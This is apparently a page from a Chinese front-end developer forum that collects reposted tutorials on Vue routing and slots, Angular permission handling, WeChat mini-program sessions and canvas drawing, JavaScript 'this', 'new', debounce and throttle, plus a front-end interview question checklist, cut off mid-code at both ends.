let detailRouterArr = [] // 用来存储以非index.vue结尾的vue文件,此类目前不需要layout
routers.forEach(item => {
const paths = item.match(/[a-zA-Z]+/g) //paths中存储了一个目录,二级目录,文件名
const routerChild = { //定义路由对象
path: paths[1],
name: `${paths[0]}${_.upperFirst(paths[1])}`, //upperFirst,lodash 首字母大写方法
component(resolve) {
require([`../../views${item.slice(1)}`], resolve)
},
}
if (/index\.vue$/.test(item)) { //判断是否以indexvue结尾
if (indexRouterMap[paths[0]]) { //判断一级路由是否存在,存在push二级路由,不存在则新建
indexRouterMap[paths[0]].children.push(routerChild)
} else {
indexRouterMap[paths[0]] = {
path: '/' + paths[0],
component: Layout,
children: [routerChild]
}
}
} else { //不以index.vue结尾的,直接添加到路由中
detailRouterArr.push({
path: item.slice(1, -4), //渠道最前面的 . 和最后的.vue
name: `${paths[0]}${_.upperFirst(paths[1])}${_.upperFirst(paths[2])}`,
component(resolve) {
require([`../../views${item.slice(1)}`], resolve)
},
meta: {
noCache: true, //不keepAlive
noVerify: true //不做权限验证
}
})
}
})

export default [
...Object.values(indexRouterMap),
...detailRouterArr,
/**
* dashboard单独处理下
*/
{
path: '',
component: Layout,
redirect: 'dashboard',
children: [
{
path: 'dashboard',
component: () => import('VIEWS/dashboard/index'),
name: 'dashboard',
meta: { title: '首页', noCache: true, noVerify: true }
}
]
},
]

简简单单的几十行代码就实现了所有的路由功能,再也不用一行一行的写路由文件了。可能你的文件管理方式和我的不一样,但是只要稍微改改正则就行了。


4、 注意

  1. 不能用import引入路由因为用import引入不支持变量
  2. 不能用别名找了半天问题,才知道用变量时也不能用别名,所以我用的都是相对路径


5、 好处

  • 不用在添加路由了,这个就不说了,明眼人都看得出来
  • 知道了路由,一个能找到对应的文件,以前我们团队就出现过,乱写path的情况
  • 更好的控制验证和keepAlive

原文链接:https://www.cnblogs.com/mianbaodaxia/p/11452123.html

收起阅读 »

前端自测清单(前端八股文)

缘起这篇文章主要列举一些自己想到的面试题目,让大家更加熟悉前端八股文。先从性能优化开始吧。性能优化大体可以分为两个,运行时优化加载时优化加载时优化网络优化dns寻址过程tcp的三次握手和四次挥手,以及为何要三次和为何要四次https的握手过程,以及对称加密和非...
继续阅读 »

/zi-ce-qing-dan/featured-image.jpg

缘起

这篇文章主要列举一些自己想到的面试题目,让大家更加熟悉前端八股文。

先从性能优化开始吧。性能优化大体可以分为两个,

  • 运行时优化
  • 加载时优化

加载时优化

网络优化

  • dns寻址过程
  • tcp的三次握手和四次挥手,以及为何要三次和为何要四次
  • https的握手过程,以及对称加密和非对称加密的区别,什么是中间人劫持,ca证书包括哪些内容
  • http1.0,http1.1以及http2.0的区别,多路复用具体指的是什么,keep-alive具体如何体现
  • cdn的原理,cdn什么情况下会回源,cdn的适用场景
  • 浏览器缓存有哪几种,它们的区别是什么,什么时候发生缓存,如何决定缓存哪些文件
  • 了解过websocket么,解释一下websocket的作用

渲染优化

  • 关键渲染路径优化,什么是关键渲染路径,分别如何优化
  • 优化体积,webpack的分包策略,如何配置优化,如何提高构建速度,tree-shaking是什么
  • cssom 的优化,以及html解析过程中,遇到哪些tag会阻塞渲染
  • 雅虎军规说,css尽量放到head里,js放到下方,那么移动端适配的flexiblejs为何要放到css上方呢
  • 影响回流重绘的因素有哪些,如何避免回流,以及bfc是什么,bfc有什么特性,清除浮动的原理是什么

场景:如何优化首屏

除了上以及下面说到的,这里也是分两个层面,

  • 加载时优化
  • 运行时优化

加载

  • 首屏请求和非首屏请求拆分
  • 图片都应该使用懒加载的形式加载
  • 使用preload预加载技术,以及prefetch的dns预解析
  • 与首屏无关的代码可以加async甚至是defer等待网页加载完成后运行

运行

这里跟加载的异常耦合,另作分析吧。

运行时优化

  • 虚拟长列表渲染
  • 图片懒加载
  • 使用事件委托
  • react memo以及pureComponent
  • 使用SSR
  • 。。。

以及一些比较骚的操作,只能特定场景使用,

  • serviceWorker劫持页面
  • 利用worker

更新一波,性能优化之外的面试题,

底层

  • V8是如何实现GC的
  • JS的let,const,call stack,function context,global context。。。的区别
  • this的指向,箭头函数中this和function里的this有什么区别
  • 原型链是什么,继承呢,有几种继承方式,如何实现es6的class
  • eventloop是什么,浏览器的eventloop和nodejs的eventloop有什么区别,nexttick是什么
  • commonjs和AMD,CMD的区别,以及跟ES MODULE的区别
  • 说说require.cache
  • 了解过,洋葱模型没有,它是如何实现的
  • 说说nodejs中的流,也就是stream
  • 你用过ts,说说你常用的ts中的数据类型
  • js的数据类型,weakMap,weakSet和Map以及Set的区别是什么
  • 为何0.1+0.2 不等于0.3,如何解决这个问题
  • js的类型转换
  • 正则表达式
  • 对象循环引用会发生什么问题
  • 如何捕获异步的异常,你能说出几种方案

CSS相关

  • position有哪几种属性,它们的区别是什么
  • 如何实现垂直居中,移动端的呢
  • margin设置百分比,是依据谁的百分比,padding呢
  • 怪异盒模型和一般盒模型有什么区别
  • flex:1代表什么,flex-shrink和flex-grow有什么区别
  • background-size origin基准点在哪里
  • 移动端1px解决方案,以及为何会产生这个问题
  • 移动端高清屏图片的解决方案
  • 说说GPU加速

跨端

  • RN 实现原理
  • 小程序实现原理
  • webview跟h5有什么区别
  • RPC 是什么
  • JSBridge 原理是什么
  • 网页唤起app的原理是什么

服务端

  • oauth2了解过没有,sso呢
  • JWT 如何实现的

网络

除了之前提到的网络问题,当然还有很多,比如

  • 为何使用1x1的gif进行请求埋点
  • TCP 如何进行拥塞控制

安全

  • csrf是什么,防范措施是什么
  • xss如何防范

浏览器相关

  • 跨域是如何产生的,如何解决
  • 如何检查性能瓶颈
  • 打开页面白屏,如何定位问题,或者打开页面CPU100%,如何定位问题
  • jsonp是什么,为何能解决跨域,使用它可能会产生什么问题
  • base64会产生什么问题
  • event.target和event.currTarget有什么区别

框架相关

  • react和vue的区别
  • react的调度原理
  • setstate为何异步
  • key的作用是什么,为何说要使用唯一key,react的diff算法是如何实现的,vue的呢
  • react的事件系统是如何实现的
  • react hook是如何实现的
  • react的通信方式,hoc的使用场景
  • 听过闭包陷阱么,为何会出现这种现象,如何避免
  • vue的响应式原理
  • 为何vue3.x用的是proxy而不是object.defineProperties
  • vue是如何实现对数据的监听的,对数组呢
  • vue中的nexttick是如何实现的
  • fiber是什么,简单说说时间切片如何实现,为何vue不需要时间切片
  • webpack是如何实现的,HMR是如何实现的,可以写个简单的webpack么,webpack的执行流程是怎样的
  • koa源码实现,洋葱模型原理,get/post等这些方法如何set入koa里的,ctx.body为何能直接改变response的body
  • 你简历上写的了解过webpack源码,到哪种程度了(实话说没写koa简单。。

算法相关

  • js大整数加法
  • 双指针
  • 经典排序
  • 动态规划
  • 贪心算法
  • 回溯法
  • DFS
  • BFS
  • 链表操作
  • 线性求值
  • 预处理,前缀和

项目相关

  • 项目中遇到的最大问题是什么,如何解决的
  • nodejs作为中间层的作用是什么

场景题(机试)

  • 如何实现直播上的弹幕组件,要求不能重叠,仿照b站上的弹幕
  • 如何实现动态表单,仿照antd上的form组件
  • 实现一个promise(一般不会这样问)
  • 实现一个限制请求数量的方法
  • 如何实现一个大文件的上传
  • 实现一个eventEmitter
  • 实现一个new,call,bind,apply
  • 实现一个throttle,debound
  • 实现promise.then,finally,all
  • 实现继承,寄生组合继承,instanceof
  • 实现Generator,Aynsc

20.11.20 更新来了

  • React 生命周期,(分三个阶段进行回答,挂载阶段,更新阶段以及卸载阶段)
  • Vue 生命周期 以及其父子组件的生命周期调度顺序
  • 如果让你用强缓存或者协商缓存来缓存资源的话,你会如何使用
  • 作用域是什么,作用域链呢?(这题我想了下,不会利用语言去表达这个东西。。)

目前暂时想到这些,后来有想到的会补充上去。

原文链接:https://steinw.cc/zi-ce-qing-dan/


收起阅读 »

前端如何进行用户权限管理

【前端如何进行用户权限管理】1:问题:假如在做一个管理系统,面向老师学生的,学生提交申请,老师负责审核(或者还需要添加其他角色,功能权限都不同)。现在的问题是,每种角色登录看到的界面应该都是不一样的,那这个页面的区分如何实现呢?2:要不要给老师和学生各自设计一...
继续阅读 »

【前端如何进行用户权限管理】

1:问题:
假如在做一个管理系统,面向老师学生的,学生提交申请,老师负责审核(或者还需要添加其他角色,功能权限都不同)。


现在的问题是,每种角色登录看到的界面应该都是不一样的,那这个页面的区分如何实现呢?

2:要不要给老师和学生各自设计一套页面?这样工作量是不是太大了,并且如果还要加入其它角色的话,难道每个角色对应一套代码?

所以我们需要用一套页面适应各种用户角色,并根据身份赋予他们不同权限

3:权限设计与管理是一个很复杂的问题,涉及的东西很多,相比前端,更偏向于后端,在搜集相关资料的过程中,发现掺杂了许多数据库之类的知识,以及几个用于权限管理的java框架,比如spring,比如shiro等等,都属于后端的工作

4:那我们前端能做什么呢?

权限的设计中比较常见的就是RBAC基于角色的访问控制,基本思想是,对系统操作的各种权限不是直接授予具体的用户,而是在用户集合与权限集合之间建立一个角色集合。每一种角色对应一组相应的权限。

一旦用户被分配了适当的角色后,该用户就拥有此角色的所有操作权限。这样做的好处是,不必在每次创建用户时都进行分配权限的操作,只要分配用户相应的角色即可,而且角色的权限变更比用户的权限变更要少得多,这样将简化用户的权限管理,减少系统的开销。

在Angular构建的单页面应用中,要实现这样的架构我们需要额外多做一些事.从整体项目上来讲,大约有3处地方,前端工程师需要进行处理.

1. UI处理(根据用户拥有的权限,判断页面上的一些内容是否显示)

2. 路由处理(当用户访问一个它没有权限访问的url时,跳转到一个错误提示的页面)

3. HTTP请求处理(当我们发送一个数据请求,如果返回的status是401或者401,则通常重定向到一个错误提示的页面)

如何实现?
首先需要在Angular启动之前就获取到当前用户的所有的permissions,然后比较优雅的方式是通过一个service存放这个映射关系.对于UI处理一个页面上的内容是否根据权限进行显示,我们应该通过一个directive来实现.当处理完这些,我们还需要在添加一个路由时额外为其添加一个"permission"属性,并为其赋值表明拥有哪些权限的角色可以跳转这个URL,然后通过Angular监听routeChangeStart事件来进行当前用户是否拥有此URL访问权限的校验.最后还需要一个HTTP拦截器监控当一个请求返回的status是401或者403时,跳转页面到一个错误提示页面.

大致上的工作就是这些,看起来有些多,其实一个个来还是挺好处理的.

在Angular运行之前获取到permission的映射关系



Angular项目通过ng-app启动,但是一些情况下我们是希望Angular项目的启动在我们的控制之中.比如现在这种情况下,我就希望能获取到当前登录用户的所有permission映射关系后,再启动Angular的App.幸运的是Angular本身提供了这种方式,也就是angular.bootstrap().看的仔细的人可能会注意到,这里使用的是$.get(),没有错用的是jQuery而不是Angular的$resource或者$http,因为在这个时候Angular还没有启动,它的function我们还无法使用.

进一步使用上面的代码可以将获取到的映射关系放入一个service作为全局变量来使用.


在取得当前用户的权限集合后,我们将这个集合存档到对应的一个service中,然后又做了2件事:

(1) 将permissions存放到factory变量中,使之一直处于内存中,实现全局变量的作用,但却没有污染命名空间.

(2) 通过$broadcast广播事件,当权限发生变更的时候.

如何确定UI组件的依据权限进行显隐




这里我们需要自己编写一个directive,它会依据权限关系来进行显示或者隐藏元素.

这里看到了比较理想的情况是通关一个has-permission属性校验permission的name,如果当前用户有则显示,没有则隐藏.




扩展一下之前的factory:




路由上的依权限访问
这一部分的实现的思路是这样: 当我们定义一个路由的时候增加一个permission的属性,属性的值就是有哪些权限才能访问当前url.然后通过routeChangeStart事件一直监听url变化.每次变化url的时候,去校验当前要跳转的url是否符合条件,然后决定是跳转成功还是跳转到错误的提示页面.

router.js:






mainController.js 或者 indexController.js (总之是父层Controller)





这里依然用到了之前写的hasPermission,这些东西都是高度可复用的.这样就搞定了,在每次view的route跳转前,在父容器的Controller中判断一些它到底有没有跳转的权限即可.



HTTP请求处理
这个应该相对来说好处理一点,思想的思路也很简单.因为Angular应用推荐的是RESTful风格的接口,所以对于HTTP协议的使用很清晰.对于请求返回的status code如果是401或者403则表示没有权限,就跳转到对应的错误提示页面即可.





当然我们不可能每个请求都去手动校验转发一次,所以肯定需要一个总的filter.代码如下:

写到这里我们就基本实现了在这种前后端分离模式下,前端部分的权限管理和控制。

原文链接:https://blog.csdn.net/jnshu_it/article/details/77511588


收起阅读 »

彻底解决小程序无法触发SESSION问题

一、首先找到第一次发起网络请求的地址,将服务器返回set-cookie当全局变量存储起来wx.request({ ...... success: function(res) { console.log(res.header); //set-co...
继续阅读 »

一、首先找到第一次发起网络请求的地址,将服务器返回set-cookie当全局变量存储起来

wx.request({
......
success: function(res) {
console.log(res.header);
//set-cookie:PHPSESSID=ic4vj84aaavqgb800k82etisu0; path=/; domain=.fengkui.net

// 登录成功,获取第一次的sessionid,存储起来
// 注意:Set-Cookie(开发者工具中调试全部小写)(远程调试和线上首字母大写)
wx.setStorageSync("sessionid", res.header["Set-Cookie"]);
}
})

二、请求时带上将sessionid放入request的header头中传到服务器,服务器端可直接在cookie中获取

wx.request({
......
header: {
'content-type': 'application/json', // 默认值
'cookie': wx.getStorageSync("sessionid")
//读取sessionid,当作cookie传入后台将PHPSESSID做session_id使用
},
success: function(res) {
console.log(res)
}
})

三、后台获取cookie中的PHPSESSID,将PHPSESSID当作session_id使用

<?php
// 判断$_COOKIE['PHPSESSID']是否存在,存在则作session_id使用
if ($_COOKIE['PHPSESSID']) {
session_id($_COOKIE['PHPSESSID']);
}

session_start();
echo session_id();


原文链接:https://blog.csdn.net/qq_41654694/article/details/85991846

收起阅读 »

vue 重复点击菜单,路由重复报错

报错信息vue-router在3.0版本以上时,重复点菜单,控制台会报错,虽然不影响使用,但是最好处理下这个问题,不然也可能会影响调试其他问题。报错原因vue-router在3.0版本以上时 ,回调形式改成了promise api,返回的是promise,如果...
继续阅读 »

报错信息

vue-router在3.0版本以上时,重复点菜单,控制台会报错,虽然不影响使用,但是最好处理下这个问题,不然也可能会影响调试其他问题。


报错原因
vue-router在3.0版本以上时 ,回调形式改成了promise api,返回的是promise,如果没有捕获到错误,控制台始终会出现如上图的报错
node_module/vue-router/dist/vue-router.js 搜VueRouter.prototype.push

解决方法

1.降低vue-router的版本

npm i vue-router@3.0 -S

2.在vue.use(Router)使用路由插件之前插入如下代码

//获取原型对象上的push函数
const originalPush = Router.prototype.push
//修改原型对象中的push方法
Router.prototype.push = function push (location) {
return originalPush.call(this, location).catch(err => err)
}

3.捕获异常

// 捕获router.push异常
this.$router.push(route).catch(err => {
console.log('输出报错',err)

4.补齐router第三个参数

// 补齐router.push()的第三个参数
this.$router.push(route, () => {}, (e) => {
console.log('输出报错',e)
})

本文链接:https://blog.csdn.net/pinbolei/article/details/115620529


收起阅读 »

深入理解vue中的slot与slot-scope

写在前面vue中关于插槽的文档说明很短,语言又写的很凝练,再加上其和methods,data,computed等常用选项使用频率、使用先后上的差别,这就有可能造成初次接触插槽的开发者容易产生“算了吧,回头再学,反正已经可以写基础组件了”,于是就关闭了vue说明...
继续阅读 »

写在前面

vue中关于插槽的文档说明很短,语言又写的很凝练,再加上其和methods,data,computed等常用选项使用频率、使用先后上的差别,这就有可能造成初次接触插槽的开发者容易产生“算了吧,回头再学,反正已经可以写基础组件了”,于是就关闭了vue说明文档。

实际上,插槽的概念很简单,下面通过分三部分来讲。这个部分也是按照vue说明文档的顺序来写的。

进入三部分之前,先让还没接触过插槽的同学对什么是插槽有一个简单的概念:插槽,也就是slot,是组件的一块HTML模板,这块模板显示不显示、以及怎样显示由父组件来决定。 实际上,一个slot最核心的两个问题这里就点出来了,是显示不显示怎样显示

由于插槽是一块模板,所以,对于任何一个组件,从模板种类的角度来分,其实都可以分为非插槽模板插槽模板两大类。
非插槽模板指的是html模板,指的是‘div、span、ul、table’这些,非插槽模板的显示与隐藏以及怎样显示由插件自身控制;插槽模板是slot,它是一个空壳子,因为它显示与隐藏以及最后用什么样的html模板显示由父组件控制。但是插槽显示的位置确由子组件自身决定,slot写在组件template的哪块,父组件传过来的模板将来就显示在哪块

单个插槽 | 默认插槽 | 匿名插槽

首先是单个插槽,单个插槽是vue的官方叫法,但是其实也可以叫它默认插槽,或者与具名插槽相对,我们可以叫它匿名插槽。因为它不用设置name属性。

单个插槽可以放置在组件的任意位置,但是就像它的名字一样,一个组件中只能有一个该类插槽。相对应的,具名插槽就可以有很多个,只要名字(name属性)不同就可以了。

下面通过一个例子来展示。

父组件:

<template>
<div class="father">
<h3>这里是父组件</h3>
<child>
<div class="tmpl">
<span>菜单1</span>
<span>菜单2</span>
<span>菜单3</span>
<span>菜单4</span>
<span>菜单5</span>
<span>菜单6</span>
</div>
</child>
</div>
</template>

子组件:

<template>
<div class="child">
<h3>这里是子组件</h3>
<slot></slot>
</div>
</template>

在这个例子里,因为父组件在<child></child>里面写了html模板,那么子组件的匿名插槽这块模板就是下面这样。也就是说,子组件的匿名插槽被使用了,是被下面这块模板使用了。

<div class="tmpl">
<span>菜单1</span>
<span>菜单2</span>
<span>菜单3</span>
<span>菜单4</span>
<span>菜单5</span>
<span>菜单6</span>
</div>

最终的渲染结果如图所示:


注:所有demo都加了样式,以方便观察。其中,父组件以灰色背景填充,子组件都以浅蓝色填充。

具名插槽

匿名插槽没有name属性,所以是匿名插槽,那么,插槽加了name属性,就变成了具名插槽。具名插槽可以在一个组件中出现N次。出现在不同的位置。下面的例子,就是一个有两个具名插槽单个插槽的组件,这三个插槽被父组件用同一套css样式显示了出来,不同的是内容上略有区别。

父组件:

<template>
<div class="father">
<h3>这里是父组件</h3>
<child>
<div class="tmpl" slot="up">
<span>菜单1</span>
<span>菜单2</span>
<span>菜单3</span>
<span>菜单4</span>
<span>菜单5</span>
<span>菜单6</span>
</div>
<div class="tmpl" slot="down">
<span>菜单-1</span>
<span>菜单-2</span>
<span>菜单-3</span>
<span>菜单-4</span>
<span>菜单-5</span>
<span>菜单-6</span>
</div>
<div class="tmpl">
<span>菜单->1</span>
<span>菜单->2</span>
<span>菜单->3</span>
<span>菜单->4</span>
<span>菜单->5</span>
<span>菜单->6</span>
</div>
</child>
</div>
</template>

子组件:

<template>
<div class="child">
// 具名插槽
<slot name="up"></slot>
<h3>这里是子组件</h3>
// 具名插槽
<slot name="down"></slot>
// 匿名插槽
<slot></slot>
</div>
</template>

显示结果如图:



可以看到,父组件通过html模板上的slot属性关联具名插槽。没有slot属性的html模板默认关联匿名插槽。

作用域插槽 | 带数据的插槽

最后,就是我们的作用域插槽。这个稍微难理解一点。官方叫它作用域插槽,实际上,对比前面两种插槽,我们可以叫它带数据的插槽。什么意思呢,就是前面两种,都是在组件的template里面写

匿名插槽
<slot></slot>
具名插槽
<slot name="up"></slot>

但是作用域插槽要求,在slot上面绑定数据。也就是你得写成大概下面这个样子。

<slot name="up" :data="data"></slot>
export default {
data: function(){
return {
data: ['zhangsan','lisi','wanwu','zhaoliu','tianqi','xiaoba']
}
},
}

我们前面说了,插槽最后显示不显示是看父组件有没有在child下面写模板,像下面那样。

<child>
html模板
</child>

写了,插槽就总得在浏览器上显示点东西,东西就是html该有的模样,没写,插槽就是空壳子,啥都没有。
OK,我们说有html模板的情况,就是父组件会往子组件插模板的情况,那到底插一套什么样的样式呢,这由父组件的html+css共同决定,但是这套样式里面的内容呢?

正因为作用域插槽绑定了一套数据,父组件可以拿来用。于是,情况就变成了这样:样式父组件说了算,但内容可以显示子组件插槽绑定的。

我们再来对比,作用域插槽和单个插槽和具名插槽的区别,因为单个插槽和具名插槽不绑定数据,所以父组件是提供的模板要既包括样式由包括内容的,上面的例子中,你看到的文字,“菜单1”,“菜单2”都是父组件自己提供的内容;而作用域插槽,父组件只需要提供一套样式(在确实用作用域插槽绑定的数据的前提下)。

下面的例子,你就能看到,父组件提供了三种样式(分别是flex、ul、直接显示),都没有提供数据,数据使用的都是子组件插槽自己绑定的那个人名数组。

父组件:

<template>
<div class="father">
<h3>这里是父组件</h3>
<!--第一次使用:用flex展示数据-->
<child>
<template slot-scope="user">
<div class="tmpl">
<span v-for="item in user.data">{{item}}</span>
</div>
</template>

</child>

<!--第二次使用:用列表展示数据-->
<child>
<template slot-scope="user">
<ul>
<li v-for="item in user.data">{{item}}</li>
</ul>
</template>

</child>

<!--第三次使用:直接显示数据-->
<child>
<template slot-scope="user">
{{user.data}}
</template>

</child>

<!--第四次使用:不使用其提供的数据, 作用域插槽退变成匿名插槽-->
<child>
我就是模板
</child>
</div>
</template>

子组件:

<template>
<div class="child">

<h3>这里是子组件</h3>
// 作用域插槽
<slot :data="data"></slot>
</div>
</template>

export default {
data: function(){
return {
data: ['zhangsan','lisi','wanwu','zhaoliu','tianqi','xiaoba']
}
}
}

结果如图所示:



github

以上三个demo就放在GitHub了,有需要的可以去取。使用非常方便,是基于vue-cli搭建工程。

https://github.com/cunzaizhuyi/vue-slot-demo

转载地址:https://segmentfault.com/a/1190000012996217

收起阅读 »

JavaScript 逐点突破系列 -- 变幻莫测的this指向

JavaScript 逐点突破系列 – 变幻莫测的this指向this指向事件调用环境谁触发事件,函数里面的this指向就是谁let button = document.getElemetById('button')button.onclick = funct...
继续阅读 »

JavaScript 逐点突破系列 – 变幻莫测的this指向

this指向

事件调用环境

谁触发事件,函数里面的this指向就是谁

let button = document.getElemetById('button')
button.onclick = function () {
console.log(this) //button对象
}

全局环境
浏览器环境下

console.log(this) // window

node环境下

console.log(this) // module.exports

函数内部

this最终指向的是调用的对象,和声明没有直接关系

var object = {
name: 'object',
getName: function() {
console.log(this)
}
}
var bar = object.getName // 只是函数声明并未调用
object.getName() // object对象
window.object.getName() // object对象
/* 函数被多层对象所包含,如果函数被最外层对象调用,this指向
的也只是它上一级的对象。*/
bar() // window对象

构造函数

构造函数中的this指向的是实例对象

let fn = function(){
this.id = 'xiaoMing'
console.log(this.id)
}
let fn1 = new fn() //this指向fn1对象

new 的内部原理

【1】创建一个空对象 obj;
【2】把 child 的__proto__ 指向构造函数 parent 的原型对象 prototype,此时便建立了 obj 对象的原型链:child ->parent.prototype->Object.prototype->null
【3】在 child 对象的执行环境调用 parent 函数并传递参数。
【4】考察第 3 步的返回值,如果无返回值 或者 返回一个非对象值,则将 child 作为新对象返回;否则会将 result 作为新对象返回。this绑定的是返回的对象。

function fn(){
this.num = 10;
}
fn.num = 20;
fn.prototype.num = 30;
fn.prototype.method = function() {
console.log(this.num);
}
var prototype = fn.prototype
var method = prototype.method
new fn().method() // 10
prototype.method() // 30
method() // undefined

箭头函数

箭头函数本身没有this和arguments,箭头函数继承上下文的this关键字,也就是说指向上一层作用域的this。
注意点

  1. 函数体内的this对象,就是定义时所在的对象,而不是使用时所在的对象
function foo() {
return () => {
return () => {
return () => {
console.log('id:', this.id);
};
};
};
}

var f = foo.call({id: 1});
var t1 = f.call({id: 2})()(); // id: 1
var t2 = f().call({id: 3})(); // id: 1
var t3 = f()().call({id: 4}); // id: 1

上面代码之中,只有一个this,就是函数foo的this,所以t1、t2、t3都输出同样的结果。因为所有的内层函数都是箭头函数,都没有自己的this,它们的this其实都是最外层foo函数的this。

除了this,以下三个变量在箭头函数之中也是不存在的,指向外层函数的对应变量:arguments、super、new.target。

由于箭头函数没有自己的this,所以当然也就不能用call()、apply()、bind()这些方法去改变this的指向。

不可以当作构造函数,也就是说,不可以使用new命令,否则会抛出一个错误。
不可以使用arguments对象,该对象在函数体内不存在。如果要用,可以用 rest 参数代替。
不可以使用yield命令,因此箭头函数不能用作 Generator 函数。


修改this指向

apply、call、bind

用法

func.call(this, arg1, arg2);
func.apply(this, [arg1, arg2])
func.bind(this, arg1, arg2)()

apply、call的区别

call 需要把参数按顺序传递进去,而 apply 则是把参数放在数组里。

bind和其他两种方法的区别

bind 是返回对应函数,便于稍后调用;apply 、call 则是立即调用 。

原文链接:https://blog.csdn.net/weixin_45495667/article/details/108801000




收起阅读 »

js实现函数防抖节流

一、什么是函数防抖跟节流?函数防抖: 在事件被触发n秒之后在执行回调函数,如果在n秒内又被触发 ,则重新计时。函数节流: 规定一个单位时间,规定在这个时间内,只能执行一次回调函数,如果在这个时间内呗触发多次,则只有一次失效。表现形式就是它有...
继续阅读 »

一、什么是函数防抖跟节流?

函数防抖: 在事件被触发n秒之后在执行回调函数,如果在n秒内又被触发 ,则重新计时。
函数节流: 规定一个单位时间,规定在这个时间内,只能执行一次回调函数,如果在这个时间内呗触发多次,则只有一次失效。表现形式就是它有自己的一个执行频率。

二、JavaScript实现

1.函数防抖

代码如下(示例):

function debounce(callback, wait) {
let timer = null;
return function(){
let _this = this,
arg = arguments;
if(!!timer){
clearTimeout(timer)
timer = null
}
timer = setTimeout(function(){
callback.call(_this,arg)
},wait)
}
}
let _debounce = debounce(function() {
console.log('dshdihdi')
}, 1000)


2.函数节流

代码如下(示例):

// 函数节流,时间戳版本
function throttle(callback, wait) {
let time = new Date().getTime();
return function() {
let _this = this,
arg = arguments;
let nowTime = new Date().getTime();
if (nowTime - time >= wait){
callback.call(_this,...arg)
time = nowTime
}
}
}
let _throttle = throttle(function(e) {
console.log(e)
console.log(arguments)
}, 1000)


函数节流: 懒加载分页请求资源、音乐播放进度条更新等等

函数防抖: 频繁操作点赞、登录注册、需要提交最新信息等等

原文链接:https://blog.csdn.net/qq_45924621/article/details/115586112

收起阅读 »

JavaScript new 操作符

new 操作符做的事情 - 01创建了一个全新的对象。将对象链接到这个函数的 prototype 对象上。执行构造函数,并将 this 绑定到新创建的对象上。判断构造函数执行返回的结果是否是引用数据类型,若是则返回构造函数执行的结果,否则返回创建的对象。new...
继续阅读 »
new 操作符做的事情 - 01
  1. 创建了一个全新的对象。
  2. 将对象链接到这个函数的 prototype 对象上。
  3. 执行构造函数,并将 this 绑定到新创建的对象上。
  4. 判断构造函数执行返回的结果是否是引用数据类型,若是则返回构造函数执行的结果,否则返回创建的对象。

new 操作符做的事情 - 02

  1. 创建一个全新的对象 (无原型的Object.create(null)) 。
  2. 目的是保存 new 出来的实例的所有属性。
  3. 将构造函数的原型赋值给新创建的对象的原型。
  4. 目的是将构造函数原型上的属性继承下来。
  5. 调用构造函数,并将 this 指向新建的对象。
  6. 目的是让构造函数内的属性全部转交到该对象上,使得 this 指向改变,方法有三 : apply、call、bind 。
  7. 判断构造函数调用的方式,如果是 new 的调用方式,则返回经过加工后的新对象,如果是普通调用方式,则直接返回构造函数调用时的返回值。
function myNew(Constructor, ...args) {
// 判断 Constructor 参数是否是函数
if (typeof Constructor !== 'function') {
return 'Constructor.apply is not a function';
};

// 1、创建了一个全新的对象。
let newObject = {};

// 2、将对象链接到这个函数的 prototype 对象上。
newObject.__proto__ = Constructor.prototype;

// 此处是把 1 / 2 步结合到一起
// const newObject = Object.create(Constructor.prototype);

// 3、执行构造函数,
// 并将 this 绑定到新创建的对象上。
let result = Constructor.apply(newObject, args);

// 4. 判断构造函数执行返回的结果是否是引用数据类型,
// 若是则返回构造函数执行的结果,
// 否则返回创建的对象。
if ((result !== null && typeof result === 'object') || (typeof result === 'function')) {
return result;
} else {
return newObject;
};
};

// 需要被 new 的函数
function NewTest(args) {
this.dataValue = args;
return this;
};

// 定义参数
let dataObj = {
sname: '杨万里',
number: 3,
web: 'vue'
};
let dataArray = [5, 'uniApp', '范仲淹'];

// 执行 myNew 函数
let test = myNew(NewTest, 1, 'JavaScript', '辛弃疾', dataObj, dataArray);
console.log(test); // NewTest {dataValue: Array(5)}


本文链接:https://blog.csdn.net/weixin_51157081/article/details/115577751


收起阅读 »

微信小程序-使用canvas绘制图片,下载,分享

接下来下选择图片// 点击选择图片按钮触发start: function() { let that = this let ctx = wx.createCanvasContext('myCanvas') // 设置canvas背景色, 否则制...
继续阅读 »

需求, 使用canvas绘制图片和文字, 生成图片

<!--pages/canvas/canvas.wxml-->
<view>
<view class="container">
<button bind:tap="start" class="start" size="mini">选择图片</button>
<button bind:tap="downloadCanvas" class="downloadCanvas" size="mini">下载</button>
<button bind:tap="share" class="share" size="mini">分享</button>
<!-- 分享图片功能 -->
</view>
<text>canvas区域</text>
<canvas style='width:{{canvasWidth}}px;height:{{canvasHeight}}px;border: 1px solid grey;' canvas-id='myCanvas'></canvas>
<image v-if="previewImage" :src="{{canvasImage}}"></image>
</view>


图片功能

先设置canvas区域的宽度和高度

js代码

data: {
title: 'canvas绘制图片',
canvasWidth: '', // canvas宽度
canvasHeight: '', // canvas高度
imagePath: '', // 分享的图片路径
leftMargin: 0,
topMargin: 0,
imgInfo: {},
ctx: [],
canvasImage: '',
previewImage: false,
imgProportion: 0.8, // 图片占canvas画布宽度百分比
imgToTop: 100 // 图片到canvas顶部的距离
},
onLoad: function(options) {
var that = this
var sysInfo = wx.getSystemInfo({
success: function(res) {
that.setData({
canvasWidth: res.windowWidth,
// 我这里选择canvas高度是系统高度的80%
canvasHeight: res.windowHeight * 0.8
})
// 根据图片比例, 使图片居中
let leftMargin = (res.windowWidth * (1 - that.data.imgProportion)) / 2
that.setData({
leftMargin
})
}
})
}


接下来下选择图片

// 点击选择图片按钮触发
start: function() {
let that = this
let ctx = wx.createCanvasContext('myCanvas')
// 设置canvas背景色, 否则制作的图片是透明的
ctx.setFillStyle('#f8f8f8')
ctx.fillRect(0, 0, that.data.canvasWidth, that.data.canvasHeight)
this.addImage(ctx)
},
// 添加图片
addImage: function(ctx) {
var that = this;
let imgInfo = that.data.imgInfo
var path
wx.chooseImage({
count: '1',
success(res) {
wx.getImageInfo({
src: res.tempFilePaths[0],
success: function(response) {
// 返回的response里有图片的临时路径和图片信息(高度/宽度)
that.setData({
imgInfo: response,
path: response.path
})
that.drawImage(ctx)
}
})
}
})
this.addTitle(ctx)
},


绘制文字和图

// 绘制图片
drawImage(ctx) {
let that = this
let imgInfo = that.data.imgInfo
let path = that.data.path
// 计算图片宽度 宽度固定 高度等比缩放
let imgWidth = that.data.canvasWidth * that.data.imgProportion
let imgHeight = imgInfo.height / imgInfo.width * imgWidth
// drawImage参数, 下面会说明
ctx.drawImage(path, 0, 0, imgInfo.width, imgInfo.height, that.data.leftMargin, that.data.imgToTop, imgWidth, imgHeight)
ctx.draw()
that.data.previewImage = true
},
//绘制文字
addTitle: function(ctx) {
var str = this.data.title
